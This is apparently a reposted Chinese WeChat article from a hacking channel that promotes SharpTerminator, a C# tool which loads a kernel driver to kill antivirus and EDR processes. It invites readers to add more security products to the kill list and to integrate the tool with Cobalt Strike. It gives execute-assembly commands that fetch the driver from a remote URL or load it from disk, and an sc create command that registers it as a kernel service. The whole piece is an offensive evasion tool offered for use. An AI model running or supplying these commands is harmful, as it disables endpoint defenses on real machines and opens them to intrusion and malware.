工具介绍
我们可以在源代码自己添加一些其他AV/EDR进程再重新编译,还可以集成到CobaltStrike插件中使用。
使用方法
从远程URL下载驱动程序并终止AV/EDR:
execute
-
assembly
SharpTerminator.exe
--url "http://remoteurl.com:80/Terminator.sys"
从磁盘加载驱动程序并终止AV/EDR:
execute
-
assembly
SharpTerminator.exe
--disk "C:pathtodriverTerminator.sys"
已知问题
sc
create
Terminator binPath=
"C:pathtodriver.sys"
type
= kernel
start
=
demand
下载地址
原文始发于微信公众号(Hack分享吧):太狠!Csharp加载驱动干掉杀软进程
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论